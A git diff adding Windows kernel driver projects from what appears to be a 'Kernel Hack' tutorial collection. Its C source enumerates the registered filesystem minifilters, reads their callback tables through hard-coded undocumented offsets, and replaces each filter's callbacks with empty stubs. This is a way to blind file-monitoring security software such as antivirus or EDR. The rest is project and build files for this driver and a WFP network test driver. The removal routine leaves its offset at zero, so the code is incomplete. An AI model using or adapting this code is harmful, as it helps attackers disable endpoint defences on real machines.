+ Win32 + WFP_Network_Test + + + + WindowsV6.3 + true + WindowsKernelModeDriver8.1 + Driver + WDM + + + WindowsV6.3 + false + WindowsKernelModeDriver8.1 + Driver + WDM + + + Windows8 + true + WindowsKernelModeDriver8.1 + Driver + WDM + + + Windows8 + false + WindowsKernelModeDriver8.1 + Driver + WDM + + + Windows7 + true + WindowsKernelModeDriver8.1 + Driver + WDM + + + Windows7 + false + WindowsKernelModeDriver8.1 + Driver + WDM + + + WindowsV6.3 + true + WindowsKernelModeDriver8.1 + Driver + WDM + + + WindowsV6.3 + false + WindowsKernelModeDriver8.1 + Driver + WDM + + + Windows8 + true + WindowsKernelModeDriver8.1 + Driver + WDM + + + Windows8 + false + WindowsKernelModeDriver8.1 + Driver + WDM + + + Windows7 + true + WindowsKernelModeDriver8.1 + Driver + WDM + + + Windows7 + false + WindowsKernelModeDriver8.1 + Driver + WDM + + + + + + + + + + + DbgengKernelDebugger + + + DbgengKernelDebugger + + + DbgengKernelDebugger + + + DbgengKernelDebugger + + + DbgengKernelDebugger + + + DbgengKernelDebugger + + + DbgengKernelDebugger + + + DbgengKernelDebugger + + + DbgengKernelDebugger + + + DbgengKernelDebugger + + + DbgengKernelDebugger + + + DbgengKernelDebugger + + + + Level3 + + + + + false + NDIS_SUPPORT_NDIS6;%(PreprocessorDefinitions) + + + false + fwpkclnt.lib;uuid.lib;%(AdditionalDependencies) + + + + + Level3 + + + + + false + NDIS_SUPPORT_NDIS6;%(PreprocessorDefinitions) + + + false + fwpkclnt.lib;uuid.lib;%(AdditionalDependencies) + + + + + Level3 + + + + + false + NDIS_SUPPORT_NDIS6;%(PreprocessorDefinitions) + + + false + fwpkclnt.lib;uuid.lib;%(AdditionalDependencies) + + + + + Level3 + + + + + false + NDIS_SUPPORT_NDIS6;%(PreprocessorDefinitions) + + + false + fwpkclnt.lib;uuid.lib;%(AdditionalDependencies) + + + + + + + + + + + + + + + + + + + + + \ No newline at end of file diff --git "a/[\346\225\231\347\250\213] [\346\224\266\351\233\206] Window Kernel Hack/WFP\347\275\221\347\273\234\347\233\221\346\216\247/WFP_Network_Test/WFP_Network_Test/WFP_Network_Test.vcxproj.filters" "b/[\346\225\231\347\250\213] [\346\224\266\351\233\206] Window Kernel Hack/WFP\347\275\221\347\273\234\347\233\221\346\216\247/WFP_Network_Test/WFP_Network_Test/WFP_Network_Test.vcxproj.filters" new file mode 100644 index 0000000..25da398 --- /dev/null +++ "b/[\346\225\231\347\250\213] [\346\224\266\351\233\206] Window Kernel Hack/WFP\347\275\221\347\273\234\347\233\221\346\216\247/WFP_Network_Test/WFP_Network_Test/WFP_Network_Test.vcxproj.filters" @@ -0,0 +1,42 @@ + + + + + {4FC737F1-C7A5-4376-A066-2A32D752A2FF} + cpp;c;cc;cxx;def;odl;idl;hpj;bat;asm;asmx + + + {93995380-89BD-4b04-88EB-625FBE52EBFB} + h;hpp;hxx;hm;inl;inc;xsd + + + {67DA6AB6-F800-4c08-8B7A-83BB121AAD01} + rc;ico;cur;bmp;dlg;rc2;rct;bin;rgs;gif;jpg;jpeg;jpe;resx;tiff;tif;png;wav;mfcribbon-ms + + + {8E41214B-6785-4CFE-B992-037D68949A14} + inf;inv;inx;mof;mc; + + + + + Driver Files + + + + + Header Files + + + Header Files + + + + + Source Files + + + Source Files + + + \ No newline at end of file diff --git "a/[\346\225\231\347\250\213] [\346\224\266\351\233\206] Window Kernel Hack/WFP\347\275\221\347\273\234\347\233\221\346\216\247/WFP_Network_Test/WFP_Network_Test/WFP_Network_Test.vcxproj.user" "b/[\346\225\231\347\250\213] [\346\224\266\351\233\206] Window Kernel Hack/WFP\347\275\221\347\273\234\347\233\221\346\216\247/WFP_Network_Test/WFP_Network_Test/WFP_Network_Test.vcxproj.user" new file mode 100644 index 0000000..0bf5c12 --- /dev/null +++ "b/[\346\225\231\347\250\213] [\346\224\266\351\233\206] Window Kernel Hack/WFP\347\275\221\347\273\234\347\233\221\346\216\247/WFP_Network_Test/WFP_Network_Test/WFP_Network_Test.vcxproj.user" @@ -0,0 +1,15 @@ + + + + Off + + + Off + + + Off + + + Off + + \ No newline at end of file diff --git "a/[\346\225\231\347\250\213] [\346\224\266\351\233\206] Window Kernel Hack/\345\217\215Minifilter\346\226\207\344\273\266\347\233\221\346\216\247/Minifilter_Enum_Remove_Test/Minifilter_Enum_Remove_Test.sln" "b/[\346\225\231\347\250\213] [\346\224\266\351\233\206] Window Kernel Hack/\345\217\215Minifilter\346\226\207\344\273\266\347\233\221\346\216\247/Minifilter_Enum_Remove_Test/Minifilter_Enum_Remove_Test.sln" new file mode 100644 index 0000000..230f97c --- /dev/null +++ "b/[\346\225\231\347\250\213] [\346\224\266\351\233\206] Window Kernel Hack/\345\217\215Minifilter\346\226\207\344\273\266\347\233\221\346\216\247/Minifilter_Enum_Remove_Test/Minifilter_Enum_Remove_Test.sln" @@ -0,0 +1,64 @@ + +Microsoft Visual Studio Solution File, Format Version 12.00 +# Visual Studio 2013 +VisualStudioVersion = 12.0.40629.0 +MinimumVisualStudioVersion = 10.0.40219.1 +Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "Minifilter_Enum_Remove_Test", "Minifilter_Enum_Remove_Test\Minifilter_Enum_Remove_Test.vcxproj", "{CFC669D0-FC78-4D39-8102-1FDA7B6EEBDD}" +EndProject +Global + GlobalSection(SolutionConfigurationPlatforms) = preSolution + Win7 Debug|Win32 = Win7 Debug|Win32 + Win7 Debug|x64 = Win7 Debug|x64 + Win7 Release|Win32 = Win7 Release|Win32 + Win7 Release|x64 = Win7 Release|x64 + Win8 Debug|Win32 = Win8 Debug|Win32 + Win8 Debug|x64 = Win8 Debug|x64 + Win8 Release|Win32 = Win8 Release|Win32 + Win8 Release|x64 = Win8 Release|x64 + Win8.1 Debug|Win32 = Win8.1 Debug|Win32 + Win8.1 Debug|x64 = Win8.1 Debug|x64 + Win8.1 Release|Win32 = Win8.1 Release|Win32 + Win8.1 Release|x64 = Win8.1 Release|x64 + EndGlobalSection + GlobalSection(ProjectConfigurationPlatforms) = postSolution + {CFC669D0-FC78-4D39-8102-1FDA7B6EEBDD}.Win7 Debug|Win32.ActiveCfg = Win7 Debug|Win32 + {CFC669D0-FC78-4D39-8102-1FDA7B6EEBDD}.Win7 Debug|Win32.Build.0 = Win7 Debug|Win32 + {CFC669D0-FC78-4D39-8102-1FDA7B6EEBDD}.Win7 Debug|Win32.Deploy.0 = Win7 Debug|Win32 + {CFC669D0-FC78-4D39-8102-1FDA7B6EEBDD}.Win7 Debug|x64.ActiveCfg = Win7 Debug|x64 + {CFC669D0-FC78-4D39-8102-1FDA7B6EEBDD}.Win7 Debug|x64.Build.0 = Win7 Debug|x64 + {CFC669D0-FC78-4D39-8102-1FDA7B6EEBDD}.Win7 Debug|x64.Deploy.0 = Win7 Debug|x64 + {CFC669D0-FC78-4D39-8102-1FDA7B6EEBDD}.Win7 Release|Win32.ActiveCfg = Win7 Release|Win32 + {CFC669D0-FC78-4D39-8102-1FDA7B6EEBDD}.Win7 Release|Win32.Build.0 = Win7 Release|Win32 + {CFC669D0-FC78-4D39-8102-1FDA7B6EEBDD}.Win7 Release|Win32.Deploy.0 = Win7 Release|Win32 + {CFC669D0-FC78-4D39-8102-1FDA7B6EEBDD}.Win7 Release|x64.ActiveCfg = Win7 Release|x64 + {CFC669D0-FC78-4D39-8102-1FDA7B6EEBDD}.Win7 Release|x64.Build.0 = Win7 Release|x64 + {CFC669D0-FC78-4D39-8102-1FDA7B6EEBDD}.Win7 Release|x64.Deploy.0 = Win7 Release|x64 + {CFC669D0-FC78-4D39-8102-1FDA7B6EEBDD}.Win8 Debug|Win32.ActiveCfg = Win8 Debug|Win32 + {CFC669D0-FC78-4D39-8102-1FDA7B6EEBDD}.Win8 Debug|Win32.Build.0 = Win8 Debug|Win32 + {CFC669D0-FC78-4D39-8102-1FDA7B6EEBDD}.Win8 Debug|Win32.Deploy.0 = Win8 Debug|Win32 + {CFC669D0-FC78-4D39-8102-1FDA7B6EEBDD}.Win8 Debug|x64.ActiveCfg = Win8 Debug|x64 + {CFC669D0-FC78-4D39-8102-1FDA7B6EEBDD}.Win8 Debug|x64.Build.0 = Win8 Debug|x64 + {CFC669D0-FC78-4D39-8102-1FDA7B6EEBDD}.Win8 Debug|x64.Deploy.0 = Win8 Debug|x64 + {CFC669D0-FC78-4D39-8102-1FDA7B6EEBDD}.Win8 Release|Win32.ActiveCfg = Win8 Release|Win32 + {CFC669D0-FC78-4D39-8102-1FDA7B6EEBDD}.Win8 Release|Win32.Build.0 = Win8 Release|Win32 + {CFC669D0-FC78-4D39-8102-1FDA7B6EEBDD}.Win8 Release|Win32.Deploy.0 = Win8 Release|Win32 + {CFC669D0-FC78-4D39-8102-1FDA7B6EEBDD}.Win8 Release|x64.ActiveCfg = Win8 Release|x64 + {CFC669D0-FC78-4D39-8102-1FDA7B6EEBDD}.Win8 Release|x64.Build.0 = Win8 Release|x64 + {CFC669D0-FC78-4D39-8102-1FDA7B6EEBDD}.Win8 Release|x64.Deploy.0 = Win8 Release|x64 + {CFC669D0-FC78-4D39-8102-1FDA7B6EEBDD}.Win8.1 Debug|Win32.ActiveCfg = Win8.1 Debug|Win32 + {CFC669D0-FC78-4D39-8102-1FDA7B6EEBDD}.Win8.1 Debug|Win32.Build.0 = Win8.1 Debug|Win32 + {CFC669D0-FC78-4D39-8102-1FDA7B6EEBDD}.Win8.1 Debug|Win32.Deploy.0 = Win8.1 Debug|Win32 + {CFC669D0-FC78-4D39-8102-1FDA7B6EEBDD}.Win8.1 Debug|x64.ActiveCfg = Win8.1 Debug|x64 + {CFC669D0-FC78-4D39-8102-1FDA7B6EEBDD}.Win8.1 Debug|x64.Build.0 = Win8.1 Debug|x64 + {CFC669D0-FC78-4D39-8102-1FDA7B6EEBDD}.Win8.1 Debug|x64.Deploy.0 = Win8.1 Debug|x64 + {CFC669D0-FC78-4D39-8102-1FDA7B6EEBDD}.Win8.1 Release|Win32.ActiveCfg = Win8.1 Release|Win32 + {CFC669D0-FC78-4D39-8102-1FDA7B6EEBDD}.Win8.1 Release|Win32.Build.0 = Win8.1 Release|Win32 + {CFC669D0-FC78-4D39-8102-1FDA7B6EEBDD}.Win8.1 Release|Win32.Deploy.0 = Win8.1 Release|Win32 + {CFC669D0-FC78-4D39-8102-1FDA7B6EEBDD}.Win8.1 Release|x64.ActiveCfg = Win8.1 Release|x64 + {CFC669D0-FC78-4D39-8102-1FDA7B6EEBDD}.Win8.1 Release|x64.Build.0 = Win8.1 Release|x64 + {CFC669D0-FC78-4D39-8102-1FDA7B6EEBDD}.Win8.1 Release|x64.Deploy.0 = Win8.1 Release|x64 + EndGlobalSection + GlobalSection(SolutionProperties) = preSolution + HideSolutionNode = FALSE + EndGlobalSection +EndGlobal diff --git "a/[\346\225\231\347\250\213] [\346\224\266\351\233\206] Window Kernel Hack/\345\217\215Minifilter\346\226\207\344\273\266\347\233\221\346\216\247/Minifilter_Enum_Remove_Test/Minifilter_Enum_Remove_Test.v12.suo" "b/[\346\225\231\347\250\213] [\346\224\266\351\233\206] Window Kernel Hack/\345\217\215Minifilter\346\226\207\344\273\266\347\233\221\346\216\247/Minifilter_Enum_Remove_Test/Minifilter_Enum_Remove_Test.v12.suo" new file mode 100644 index 0000000..2de85fa Binary files /dev/null and "b/[\346\225\231\347\250\213] [\346\224\266\351\233\206] Window Kernel Hack/\345\217\215Minifilter\346\226\207\344\273\266\347\233\221\346\216\247/Minifilter_Enum_Remove_Test/Minifilter_Enum_Remove_Test.v12.suo" differ diff --git "a/[\346\225\231\347\250\213] [\346\224\266\351\233\206] Window Kernel Hack/\345\217\215Minifilter\346\226\207\344\273\266\347\233\221\346\216\247/Minifilter_Enum_Remove_Test/Minifilter_Enum_Remove_Test/Driver.c" "b/[\346\225\231\347\250\213] [\346\224\266\351\233\206] Window Kernel Hack/\345\217\215Minifilter\346\226\207\344\273\266\347\233\221\346\216\247/Minifilter_Enum_Remove_Test/Minifilter_Enum_Remove_Test/Driver.c" new file mode 100644 index 0000000..eff646e --- /dev/null +++ "b/[\346\225\231\347\250\213] [\346\224\266\351\233\206] Window Kernel Hack/\345\217\215Minifilter\346\226\207\344\273\266\347\233\221\346\216\247/Minifilter_Enum_Remove_Test/Minifilter_Enum_Remove_Test/Driver.c" @@ -0,0 +1,38 @@ +#include "EnumRemove.h" +#include "Driver.h" + + +NTSTATUS DriverEntry(PDRIVER_OBJECT pDriverObject, PUNICODE_STRING pRegPath) +{ + DbgPrint("Enter DriverEntry\n"); + + NTSTATUS status = STATUS_SUCCESS; + pDriverObject->DriverUnload = DriverUnload; + for (ULONG i = 0; i < IRP_MJ_MAXIMUM_FUNCTION; i++) + { + pDriverObject->MajorFunction[i] = DriverDefaultHandle; + } + + // ص + EnumCallback(); + + DbgPrint("Leave DriverEntry\n"); + return status; +} + + + +VOID DriverUnload(PDRIVER_OBJECT pDriverObject) +{ +} + + +NTSTATUS DriverDefaultHandle(PDEVICE_OBJECT pDevObj, PIRP pIrp) +{ + NTSTATUS status = STATUS_SUCCESS; + pIrp->IoStatus.Status = status; + pIrp->IoStatus.Information = 0; + IoCompleteRequest(pIrp, IO_NO_INCREMENT); + + return status; +} \ No newline at end of file diff --git "a/[\346\225\231\347\250\213] [\346\224\266\351\233\206] Window Kernel Hack/\345\217\215Minifilter\346\226\207\344\273\266\347\233\221\346\216\247/Minifilter_Enum_Remove_Test/Minifilter_Enum_Remove_Test/Driver.h" "b/[\346\225\231\347\250\213] [\346\224\266\351\233\206] Window Kernel Hack/\345\217\215Minifilter\346\226\207\344\273\266\347\233\221\346\216\247/Minifilter_Enum_Remove_Test/Minifilter_Enum_Remove_Test/Driver.h" new file mode 100644 index 0000000..0822089 --- /dev/null +++ "b/[\346\225\231\347\250\213] [\346\224\266\351\233\206] Window Kernel Hack/\345\217\215Minifilter\346\226\207\344\273\266\347\233\221\346\216\247/Minifilter_Enum_Remove_Test/Minifilter_Enum_Remove_Test/Driver.h" @@ -0,0 +1,12 @@ +#ifndef _DRIVER_H_ +#define _DRIVER_H_ + + +#include + + +VOID DriverUnload(PDRIVER_OBJECT pDriverObject); +NTSTATUS DriverDefaultHandle(PDEVICE_OBJECT pDevObj, PIRP pIrp); + + +#endif \ No newline at end of file diff --git "a/[\346\225\231\347\250\213] [\346\224\266\351\233\206] Window Kernel Hack/\345\217\215Minifilter\346\226\207\344\273\266\347\233\221\346\216\247/Minifilter_Enum_Remove_Test/Minifilter_Enum_Remove_Test/EnumRemove.c" "b/[\346\225\231\347\250\213] [\346\224\266\351\233\206] Window Kernel Hack/\345\217\215Minifilter\346\226\207\344\273\266\347\233\221\346\216\247/Minifilter_Enum_Remove_Test/Minifilter_Enum_Remove_Test/EnumRemove.c" new file mode 100644 index 0000000..70d4ac4 --- /dev/null +++ "b/[\346\225\231\347\250\213] [\346\224\266\351\233\206] Window Kernel Hack/\345\217\215Minifilter\346\226\207\344\273\266\347\233\221\346\216\247/Minifilter_Enum_Remove_Test/Minifilter_Enum_Remove_Test/EnumRemove.c" @@ -0,0 +1,226 @@ +#include "EnumRemove.h" + + +VOID ShowError(PCHAR lpszText, NTSTATUS ntStatus) +{ + DbgPrint("%s Error[0x%X]\n", lpszText, ntStatus); +} + + +// ص +BOOLEAN EnumCallback() +{ + NTSTATUS status = STATUS_SUCCESS; + ULONG ulFilterListSize = 0; + PFLT_FILTER *ppFilterList = NULL; + ULONG i = 0; + LONG lOperationsOffset = 0; + PFLT_OPERATION_REGISTRATION pFltOperationRegistration = NULL; + + // ȡ Minifilter Filter + FltEnumerateFilters(NULL, 0, &ulFilterListSize); + // ڴ + ppFilterList = (PFLT_FILTER *)ExAllocatePool(NonPagedPool, ulFilterListSize *sizeof(PFLT_FILTER)); + if (NULL == ppFilterList) + { + DbgPrint("ExAllocatePool Error!\n"); + return FALSE; + } + // ȡ Minifilter йFilter Ϣ + status = FltEnumerateFilters(ppFilterList, ulFilterListSize, &ulFilterListSize); + if (!NT_SUCCESS(status)) + { + DbgPrint("FltEnumerateFilters Error![0x%X]\n", status); + return FALSE; + } + + DbgPrint("ulFilterListSize=%d\n", ulFilterListSize); + + // ȡ PFLT_FILTER Operations ƫ + lOperationsOffset = GetOperationsOffset(); + if (0 == lOperationsOffset) + { + DbgPrint("GetOperationsOffset Error\n"); + return FALSE; + } + + // ʼ Minifilter иFilter Ϣ + __try + { + for (i = 0; i < ulFilterListSize; i++) + { + // ȡ PFLT_FILTER Operations Աַ + pFltOperationRegistration = (PFLT_OPERATION_REGISTRATION)(*(PVOID *)((PUCHAR)ppFilterList[i] + lOperationsOffset)); + + __try + { + // ͬһµĻصϢ + DbgPrint("-------------------------------------------------------------------------------\n"); + while (IRP_MJ_OPERATION_END != pFltOperationRegistration->MajorFunction) + { + if (IRP_MJ_MAXIMUM_FUNCTION > pFltOperationRegistration->MajorFunction) // MajorFunction ID Is: 0~27 + { + // ʾ + DbgPrint("[Filter=%p]IRP=%d, PreFunc=0x%p, PostFunc=0x%p\n", ppFilterList[i], pFltOperationRegistration->MajorFunction, + pFltOperationRegistration->PreOperation, pFltOperationRegistration->PostOperation); + } + // ȡһϢصϢ + pFltOperationRegistration = (PFLT_OPERATION_REGISTRATION)((PUCHAR)pFltOperationRegistration + sizeof(FLT_OPERATION_REGISTRATION)); + } + DbgPrint("-------------------------------------------------------------------------------\n"); + } + __except (EXCEPTION_EXECUTE_HANDLER) + { + DbgPrint("[2_EXCEPTION_EXECUTE_HANDLER]\n"); + } + } + } + __except (EXCEPTION_EXECUTE_HANDLER) + { + DbgPrint("[1_EXCEPTION_EXECUTE_HANDLER]\n"); + } + + // ͷڴ + ExFreePool(ppFilterList); + ppFilterList = NULL; + + return TRUE; +} + + +// Ƴص +NTSTATUS RemoveCallback(PFLT_FILTER pFilter) +{ + LONG lOperationsOffset = 0; + PFLT_OPERATION_REGISTRATION pFltOperationRegistration = NULL; + + // ʼ Filter Ϣ + // ȡ PFLT_FILTER Operations Աַ + pFltOperationRegistration = (PFLT_OPERATION_REGISTRATION)(*(PVOID *)((PUCHAR)pFilter + lOperationsOffset)); + __try + { + // ͬһµĻصϢ + while (IRP_MJ_OPERATION_END != pFltOperationRegistration->MajorFunction) + { + if (IRP_MJ_MAXIMUM_FUNCTION > pFltOperationRegistration->MajorFunction) // MajorFunction ID Is: 0~27 + { + // 滻ص + pFltOperationRegistration->PreOperation = New_MiniFilterPreOperation; + pFltOperationRegistration->PostOperation = New_MiniFilterPostOperation; + + // ʾ + DbgPrint("[Filter=%p]IRP=%d, PreFunc=0x%p, PostFunc=0x%p\n", pFilter, pFltOperationRegistration->MajorFunction, + pFltOperationRegistration->PreOperation, pFltOperationRegistration->PostOperation); + } + // ȡһϢصϢ + pFltOperationRegistration = (PFLT_OPERATION_REGISTRATION)((PUCHAR)pFltOperationRegistration + sizeof(FLT_OPERATION_REGISTRATION)); + } + } + __except (EXCEPTION_EXECUTE_HANDLER) + { + DbgPrint("[EXCEPTION_EXECUTE_HANDLER]\n"); + } + + return STATUS_SUCCESS; +} + + +// ȡ Operations ƫ +LONG GetOperationsOffset() +{ + RTL_OSVERSIONINFOW osInfo = { 0 }; + LONG lOperationsOffset = 0; + + // ȡϵͳ汾Ϣ, жϵͳ汾 + RtlGetVersion(&osInfo); + if (6 == osInfo.dwMajorVersion) + { + if (1 == osInfo.dwMinorVersion) + { + // Win7 +#ifdef _WIN64 + // 64 λ + // 0x188 + lOperationsOffset = 0x188; +#else + // 32 λ + // 0xCC + lOperationsOffset = 0xCC; +#endif + } + else if (2 == osInfo.dwMinorVersion) + { + // Win8 +#ifdef _WIN64 + // 64 λ + +#else + // 32 λ + +#endif + } + else if (3 == osInfo.dwMinorVersion) + { + // Win8.1 +#ifdef _WIN64 + // 64 λ + // 0x198 + lOperationsOffset = 0x198; +#else + // 32 λ + // 0xD4 + lOperationsOffset = 0xD4; +#endif + } + } + else if (10 == osInfo.dwMajorVersion) + { + // Win10 +#ifdef _WIN64 + // 64 λ + // 0x1A8 + lOperationsOffset = 0x1A8; +#else + // 32 λ + // 0xE4 + lOperationsOffset = 0xE4; +#endif + } + + return lOperationsOffset; +} + + +// µĻص Ϣǰ +FLT_PREOP_CALLBACK_STATUS New_MiniFilterPreOperation( +_Inout_ PFLT_CALLBACK_DATA Data, +_In_ PCFLT_RELATED_OBJECTS FltObjects, +_Flt_CompletionContext_Outptr_ PVOID *CompletionContext +) +{ + UNREFERENCED_PARAMETER(FltObjects); + UNREFERENCED_PARAMETER(CompletionContext); + + DbgPrint("[New_MiniFilterPreOperation]\n"); + + return FLT_PREOP_SUCCESS_WITH_CALLBACK; +} + + +// µĻص Ϣ +FLT_POSTOP_CALLBACK_STATUS New_MiniFilterPostOperation( +_Inout_ PFLT_CALLBACK_DATA Data, +_In_ PCFLT_RELATED_OBJECTS FltObjects, +_In_opt_ PVOID CompletionContext, +_In_ FLT_POST_OPERATION_FLAGS Flags +) +{ + UNREFERENCED_PARAMETER(Data); + UNREFERENCED_PARAMETER(FltObjects); + UNREFERENCED_PARAMETER(CompletionContext); + UNREFERENCED_PARAMETER(Flags); + + DbgPrint("[New_MiniFilterPostOperation]\n"); + + return FLT_POSTOP_FINISHED_PROCESSING; +} \ No newline at end of file diff --git "a/[\346\225\231\347\250\213] [\346\224\266\351\233\206] Window Kernel Hack/\345\217\215Minifilter\346\226\207\344\273\266\347\233\221\346\216\247/Minifilter_Enum_Remove_Test/Minifilter_Enum_Remove_Test/EnumRemove.h" "b/[\346\225\231\347\250\213] [\346\224\266\351\233\206] Window Kernel Hack/\345\217\215Minifilter\346\226\207\344\273\266\347\233\221\346\216\247/Minifilter_Enum_Remove_Test/Minifilter_Enum_Remove_Test/EnumRemove.h" new file mode 100644 index 0000000..2558361 --- /dev/null +++ "b/[\346\225\231\347\250\213] [\346\224\266\351\233\206] Window Kernel Hack/\345\217\215Minifilter\346\226\207\344\273\266\347\233\221\346\216\247/Minifilter_Enum_Remove_Test/Minifilter_Enum_Remove_Test/EnumRemove.h" @@ -0,0 +1,34 @@ +#ifndef _ENUM_REMOVE_H_ +#define _ENUM_REMOVE_H_ + + +#include + + +// ص +BOOLEAN EnumCallback(); + +// Ƴص +NTSTATUS RemoveCallback(PFLT_FILTER pFilter); + +// ȡ Operations ƫ +LONG GetOperationsOffset(); + +// µĻص Ϣǰ +FLT_PREOP_CALLBACK_STATUS +New_MiniFilterPreOperation( +_Inout_ PFLT_CALLBACK_DATA Data, +_In_ PCFLT_RELATED_OBJECTS FltObjects, +_Flt_CompletionContext_Outptr_ PVOID *CompletionContext +); +// µĻص Ϣ +FLT_POSTOP_CALLBACK_STATUS +New_MiniFilterPostOperation( +_Inout_ PFLT_CALLBACK_DATA Data, +_In_ PCFLT_RELATED_OBJECTS FltObjects, +_In_opt_ PVOID CompletionContext, +_In_ FLT_POST_OPERATION_FLAGS Flags +); + + +#endif \ No newline at end of file diff --git "a/[\346\225\231\347\250\213] [\346\224\266\351\233\206] Window Kernel Hack/\345\217\215Minifilter\346\226\207\344\273\266\347\233\221\346\216\247/Minifilter_Enum_Remove_Test/Minifilter_Enum_Remove_Test/Minifilter_Enum_Remove_Test.inf" "b/[\346\225\231\347\250\213] [\346\224\266\351\233\206] Window Kernel Hack/\345\217\215Minifilter\346\226\207\344\273\266\347\233\221\346\216\247/Minifilter_Enum_Remove_Test/Minifilter_Enum_Remove_Test/Minifilter_Enum_Remove_Test.inf" new file mode 100644 index 0000000..5cb2507 --- /dev/null +++ "b/[\346\225\231\347\250\213] [\346\224\266\351\233\206] Window Kernel Hack/\345\217\215Minifilter\346\226\207\344\273\266\347\233\221\346\216\247/Minifilter_Enum_Remove_Test/Minifilter_Enum_Remove_Test/Minifilter_Enum_Remove_Test.inf" @@ -0,0 +1,32 @@ +; +; Minifilter_Enum_Remove_Test.inf +; + +[Version] +Signature="$WINDOWS NT$" +Class= +ClassGuid= +Provider= +DriverVer= +CatalogFile= + +[DestinationDirs] +DefaultDestDir = 12 + + +[SourceDisksNames] +1 = %DiskName%,,,"" + +[SourceDisksFiles] + + +[Manufacturer] +%ManufacturerName%=Standard,NT$ARCH$ + +[Standard.NT$ARCH$] + + +[Strings] +ManufacturerName="" +ClassName="" +DiskName="Minifilter_Enum_Remove_Test Source Disk" diff --git "a/[\346\225\231\347\250\213] [\346\224\266\351\233\206] Window Kernel Hack/\345\217\215Minifilter\346\226\207\344\273\266\347\233\221\346\216\247/Minifilter_Enum_Remove_Test/Minifilter_Enum_Remove_Test/Minifilter_Enum_Remove_Test.vcxproj" "b/[\346\225\231\347\250\213] [\346\224\266\351\233\206] Window Kernel Hack/\345\217\215Minifilter\346\226\207\344\273\266\347\233\221\346\216\247/Minifilter_Enum_Remove_Test/Minifilter_Enum_Remove_Test/Minifilter_Enum_Remove_Test.vcxproj" new file mode 100644 index 0000000..30bf53c --- /dev/null +++ "b/[\346\225\231\347\250\213] [\346\224\266\351\233\206] Window Kernel Hack/\345\217\215Minifilter\346\226\207\344\273\266\347\233\221\346\216\247/Minifilter_Enum_Remove_Test/Minifilter_Enum_Remove_Test/Minifilter_Enum_Remove_Test.vcxproj" @@ -0,0 +1,257 @@ + + + + + Win8.1 Debug + Win32 + + + Win8.1 Release + Win32 + + + Win8 Debug + Win32 + + + Win8 Release + Win32 + + + Win7 Debug + Win32 + + + Win7 Release + Win32 + + + Win8.1 Debug + x64 + + + Win8.1 Release + x64 + + + Win8 Debug + x64 + + + Win8 Release + x64 + + + Win7 Debug + x64 + + + Win7 Release + x64 + + + + {CFC669D0-FC78-4D39-8102-1FDA7B6EEBDD} + {dd38f7fc-d7bd-488b-9242-7d8754cde80d} + v4.5 + 11.0 + Win8.1 Debug + Win32 + Minifilter_Enum_Remove_Test + + + + WindowsV6.3 + true + WindowsKernelModeDriver8.1 + Driver + WDM + + + WindowsV6.3 + false + WindowsKernelModeDriver8.1 + Driver + WDM + + + Windows8 + true + WindowsKernelModeDriver8.1 + Driver + WDM + + + Windows8 + false + WindowsKernelModeDriver8.1 + Driver + WDM + + + Windows7 + true + WindowsKernelModeDriver8.1 + Driver + WDM + + + Windows7 + false + WindowsKernelModeDriver8.1 + Driver + WDM + + + WindowsV6.3 + true + WindowsKernelModeDriver8.1 + Driver + WDM + + + WindowsV6.3 + false + WindowsKernelModeDriver8.1 + Driver + WDM + + + Windows8 + true + WindowsKernelModeDriver8.1 + Driver + WDM + + + Windows8 + false + WindowsKernelModeDriver8.1 + Driver + WDM + + + Windows7 + true + WindowsKernelModeDriver8.1 + Driver + WDM + + + Windows7 + false + WindowsKernelModeDriver8.1 + Driver + WDM + + + + + + + + + + + DbgengKernelDebugger + + + DbgengKernelDebugger + + + DbgengKernelDebugger + + + DbgengKernelDebugger + + + DbgengKernelDebugger + + + DbgengKernelDebugger + + + DbgengKernelDebugger + + + DbgengKernelDebugger + + + DbgengKernelDebugger + + + DbgengKernelDebugger + + + DbgengKernelDebugger + + + DbgengKernelDebugger + + + + FltMgr.lib;%(AdditionalDependencies) + false + + + Level3 + + + false + + + + + FltMgr.lib;%(AdditionalDependencies) + false + + + Level3 + + + false + + + + + FltMgr.lib;%(AdditionalDependencies) + false + + + Level3 + + + false + + + + + FltMgr.lib;%(AdditionalDependencies) + false + + + Level3 + + + false + + + + + + + + + + + + + + + + + + + + + \ No newline at end of file diff --git "a/[\346\225\231\347\250\213] [\346\224\266\351\233\206] Window Kernel Hack/\345\217\215Minifilter\346\226\207\344\273\266\347\233\221\346\216\247/Minifilter_Enum_Remove_Test/Minifilter_Enum_Remove_Test/Minifilter_Enum_Remove_Test.vcxproj.filters" "b/[\346\225\231\347\250\213] [\346\224\266\351\233\206] Window Kernel Hack/\345\217\215Minifilter\346\226\207\344\273\266\347\233\221\346\216\247/Minifilter_Enum_Remove_Test/Minifilter_Enum_Remove_Test/Minifilter_Enum_Remove_Test.vcxproj.filters" new file mode 100644 index 0000000..3842720 --- /dev/null +++ "b/[\346\225\231\347\250\213] [\346\224\266\351\233\206] Window Kernel Hack/\345\217\215Minifilter\346\226\207\344\273\266\347\233\221\346\216\247/Minifilter_Enum_Remove_Test/Minifilter_Enum_Remove_Test/Minifilter_Enum_Remove_Test.vcxproj.filters" @@ -0,0 +1,42 @@ + + + + + {4FC737F1-C7A5-4376-A066-2A32D752A2FF} + cpp;c;cc;cxx;def;odl;idl;hpj;bat;asm;asmx + + + {93995380-89BD-4b04-88EB-625FBE52EBFB} + h;hpp;hxx;hm;inl;inc;xsd + + + {67DA6AB6-F800-4c08-8B7A-83BB121AAD01} + rc;ico;cur;bmp;dlg;rc2;rct;bin;rgs;gif;jpg;jpeg;jpe;resx;tiff;tif;png;wav;mfcribbon-ms + + + {8E41214B-6785-4CFE-B992-037D68949A14} + inf;inv;inx;mof;mc; + + + + + Driver Files + + + + + Header Files + + + Header Files + + + + + Source Files + + + Source Files + + + \ No newline at end of file diff --git "a/[\346\225\231\347\250\213] [\346\224\266\351\233\206] Window Kernel Hack/\345\217\215Minifilter\346\226\207\344\273\266\347\233\221\346\216\247/Minifilter_Enum_Remove_Test/Minifilter_Enum_Remove_Test/Minifilter_Enum_Remove_Test.vcxproj.user" "b/[\346\225\231\347\250\213] [\346\224\266\351\233\206] Window Kernel Hack/\345\217\215Minifilter\346\226\207\344\273\266\347\233\221\346\216\247/Minifilter_Enum_Remove_Test/Minifilter_Enum_Remove_Test/Minifilter_Enum_Remove_Test.vcxproj.user" new file mode 100644 index 0000000..a22fa9b --- /dev/null +++ "b/[\346\225\231\347\250\213] [\346\224\266\351\233\206] Window Kernel 